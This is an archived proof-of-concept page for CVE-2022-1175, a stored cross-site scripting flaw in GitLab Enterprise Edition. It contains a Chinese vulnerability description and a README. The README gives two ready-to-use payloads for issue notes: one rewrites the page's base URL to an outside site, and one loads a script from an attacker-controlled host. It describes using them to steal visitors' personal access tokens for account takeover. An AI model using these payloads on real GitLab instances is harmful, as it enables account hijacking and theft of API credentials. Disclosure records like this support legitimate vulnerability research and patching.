CVE-2022-1175 PoC — GitLab Enterprise Edition 跨站脚本漏洞

Source

https://github.com/Greenwolf/CVE-2022-1175

Associated Vulnerability

Title:GitLab Enterprise Edition 跨站脚本漏洞 (CVE-2022-1175)
Description:GitLab Enterprise Edition是一套内容管理系统。 GitLab Enterprise Edition 14.4.0版本到14.9.1版本存在跨站脚本漏洞，该漏洞源于对注释中用户提供的数据的清理不足。远程用户可以利用该漏洞在易受攻击的网站上下文中在用户浏览器中注入和执行任意 HTML 和脚本代码。

Readme

# CVE-2022-1175

Gitlab Stored XSS, can be set in an issue on a project, either your own or another users. Allows attacks such as creating & stealing a Personal Access Token (PAT) of anyone who visits an issue. PAT's can then provide full Gitlab API access as that user equivilent to a full account takeover. 

Can be abused by changing the base of the project to your site, so scripts are sourced by your site. Change javascript on your site to match the script names being called in the page. This can break things on the page though.

```<pre data-sourcepos="&#34;%22 href=&#34;x&#34;></pre><base href=http://unsafe-website.com/><pre x=&#34;"><code></code></pre>```

Standard script include also works depending on the sites CSP policy. This is more stealthy.

```<pre data-sourcepos="&#34;%22 href=&#34;x&#34;></pre><script src="https://attacker-site.com/bad.js"></script><pre x=&#34;"><code></code></pre>```

GitLab devs handily included the full XSS string in the code which can be found here:

https://gitlab.com/gitlab-org/gitlab/-/compare/v14.9.1-ee...v14.9.2-ee?from_project_id=278964&page=4

*Reference:*

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1175

File Snapshot


 [4.0K]  /data/pocs/05b81fb68d02f2725652a302066bf30b9c3cee07
└── [1.2K]  README.md

0 directories, 1 file

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!